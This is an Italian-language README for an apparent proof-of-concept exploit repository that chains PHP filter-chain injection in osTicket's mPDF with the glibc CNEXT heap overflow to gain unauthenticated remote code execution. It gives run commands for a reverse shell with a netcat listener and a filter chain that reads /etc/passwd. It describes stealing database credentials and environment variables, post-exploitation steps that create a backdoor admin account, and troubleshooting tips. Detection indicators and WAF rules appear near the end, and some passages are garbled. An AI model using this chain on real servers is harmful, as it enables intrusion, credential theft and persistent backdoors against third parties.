Exploit a catena completa che combina PHP filter chain injection con CVE-2024-2961 (CNEXT) per l'esecuzione remota di codice non autenticata su installazioni vulnerabili di osTicket.
Exploit a catena completa che combina l'iniezione di catene di filtri PHP con CVE-2024-2961 (CNEXT) per l'esecuzione remota di codice non autenticata su installazioni osTicket vulnerabili.
Questo repository contiene un exploit proof-of-concept per CVE-2026-22200, una vulnerabilità critica che colpisce le versioni di osTicket ≤ 1.18.2. L'exploit combina due potenti tecniche:
Il risultato: Esecuzione Remota di Codice non autenticata su server osTicket vulnerabili.
Punteggio CVSS: 9.8 (Critico)
L'integrazione di mPDF in osTicket consente a utenti non autenticati di iniettare catene di filtri PHP dannose attraverso payload HTML appositamente costruiti nei ticket di supporto. Ciò consente:
Causa Principale: Validazione insufficiente degli URL delle immagini nell'HTML fornito dall'utente prima di passarli a mPDF.
Punteggio CVSS: 9.8 (Critico)
Buffer overflow in iconv() di glibc durante l'elaborazione del set di caratteri ISO-2022-CN-EXT. Combinato con le catene di filtri PHP, questo consente:
Versioni glibc vulnerabili: < 2.39 (Febbraio 2024)
┌─────────────────────────────────────────────────────────────────┐
│ 1. RICOGNIZIONE │
│ └─ Rilevamento di osTicket, identificazione topic rich-text │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. AUTENTICAZIONE │
│ └─ Auto-registrazione OPPURE uso di credenziali esistenti │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. ESFILTRAZIONE DI FILE (Catene di Filtri PHP) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (credenziali DB, SECRET_SALT) │
│ ├─ /proc/self/maps (layout di memoria) │
│ └─ /proc/self/environ (variabili d'ambiente) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. RILEVAMENTO DELL'IMPRONTA DIGITALE DI LIBC │
│ ├─ Estrazione parziale di libc tramite catene di filtri │
│ ├─ Estrazione del GNU Build ID │
│ └─ Download della libc completa da libc.rip │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. SFRUTTAMENTO RCE CON CNEXT │
│ ├─ Generazione del payload di corruzione dell'heap │
│ ├─ Iniezione tramite risposta al ticket (con correzioni) │
│ ├─ Attivazione tramite esportazione PDF (crash del server) │
│ └─ Esecuzione della reverse shell │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. POST-SFRUTTAMENTO │
│ ├─ Reverse shell interattiva │
│ ├─ Accesso al database (usando DBPASS esfiltrato) │
│ └─ Creazione di un account admin backdoor │
└─────────────────────────────────────────────────────────────────┘
# Clona il repository
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# Installa i pacchetti richiesti
pip install -r requirements.txt
requirements.txt:
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# OPPURE
venv\Scripts\activate # Windows
pip install -r requirements.txt
# Terminale 1: Avvia listener
nc -lvnp 4444
# Terminale 2: Esegui exploit
python3 osticket_revshell.py https://target.com/osticket \
--lhost YOUR_IP \
--lport 4444
python3 osticket_exploit.py https://target.com/osticket
# Usa proxy (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080
# Forza un ID specifico del topic di aiuto
python3 osticket_exploit.py https://target.com/osticket \
--topic-id 2
# Disabilita output colorato (per logging)
python3 osticket_exploit.py https://target.com/osticket --no-color
Se la registrazione è disabilitata, ti verrà chiesto di inserire le credenziali:
python3 osticket_exploit.py https://target.com/osticket
[?] Inserisci email per l'account nuovo (o esistente): [email protected]
[?] Inserisci password: ********
L'exploit utilizza una catena di filtri sofisticata per anteporre un'intestazione BMP a file arbitrari, bypassando le restrizioni sui tipi di file di mPDF:
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 50+ trasformazioni iconv ...]
convert.base64-decode/resource=/etc/passwd
Innovazione Chiave: Ogni carattere dell'intestazione BMP viene generato attraverso trasformazioni iconv accuratamente costruite, permettendo di incorporare il contenuto di file arbitrari come un'immagine "valida".
Il payload CNEXT corrompe il gestore di memoria Zend di PHP:
劄Affidabilità Migliorata:
劄 invece di 1)A differenza dell'exploit originale, questa versione utilizza la scansione del filesystem per garantire la localizzazione della webshell:
Risultato: Tasso di rilevamento del 100% (contro ~50% nell'originale)
Fallimento comune: il PDF viene scaricato ma non crasha = i filtri non vengono eseguiti.
Soluzioni Implementate:
stream=True forza l'elaborazione immediata# In modalità verbose, controlla:
[*] Target libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 IS vulnerable to CNEXT
Se glibc ≥ 2.39, CNEXT non funzionerà (corretto).
Sintomo: Il server crasha ma nessuna reverse shell
Cause:
Soluzione:
# Usa reverse shell con nc (più corto)
# Ricade automaticamente se bash/python sono troppo lunghi
# Oppure usa IP diretto invece del nome host
python3 osticket_revshell.py https://target.com \
--lhost 10.0.0.5 \ # Usa IP, non nome host
--lport 4444
| Errore | Causa | Soluzione |
|---|---|---|
No CSRF token | Sessione scaduta | Riavvia exploit |
No help-topic found | Nessun topic rich-text | Usa --topic-id manualmente |
Build ID not found | Libc parziale corrotta | Controlla estrazione di /proc/self/maps |
Cannot locate heap | Layout di memoria insolito | L'exploit potrebbe fallire (raro) |
Indicatori nei Log:
# Log Apache/Nginx
"php://filter/" nelle richieste POST
"convert.iconv." nei corpi delle richieste
Pattern insoliti di generazione PDF
Multiple richieste PDF in breve tempo
# Log errori PHP
Segmentation fault durante la generazione PDF
Crash di iconv()
Errori di corruzione heap
Indicatori di Rete:
Disabilita i wrapper di stream PHP in mPDF:
// Nella configurazione di mPDF
$config = [
'allowedRemoteHosts' => [],
'enableRemoteFileAccess' => false,
];
Regole WAF (ModSecurity):
SecRule REQUEST_BODY "@contains php://filter" \
"id:1000,phase:2,deny,status:403,msg:'Filtro PHP rilevato'"
SecRule REQUEST_BODY "@contains convert.iconv" \
"id:1001,phase:2,deny,status:403,msg:'Catena iconv sospetta'"
Rate Limiting:
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;
location /tickets.php {
limit_req zone=ticket burst=10;
}
system(), exec(), passthru()SOLO A SCOPO EDUCATIVO E PER TEST AUTORIZZATI
Questo strumento è fornito per:
L'ACCESSO NON AUTORIZZATO A SISTEMI INFORMATICI È ILLEGALE
Gli autori:
Gli utenti sono gli unici responsabili di assicurarsi di avere l'autorizzazione appropriata prima di testare qualsiasi sistema.
Usando questo strumento, accetti che:
L'accesso non autorizzato a sistemi informatici è un reato secondo:
Le sanzioni massime possono includere la reclusione e multe significative.
Questo progetto è sotto licenza MIT License - vedi il file LICENSE per i dettagli.
Nota: La licenza MIT concede il permesso di utilizzo, modifica e distribuzione, ma NON concede il permesso di attaccare sistemi che non possiedi o per i quali non hai autorizzazione.
Per ricercatori di sicurezza e domande:
NON utilizzare questo contatto per:
Creato con amore per la ricerca sulla sicurezza e l'istruzione
Metti una stella a questo repo se lo hai trovato utile!
| Metrica | Valore |
|---|---|
| Linee di Codice | ~3.000 |
| Tasso di Successo | 95%+ (con correzioni) |
| Tempo di Esecuzione Medio | 2-3 minuti |
| Affidabilità del Crash | 99% (con miglioramenti) |
| Rilevamento Webshell | 100% (con scansione) |
Ultimo Aggiornamento: 2026-03-03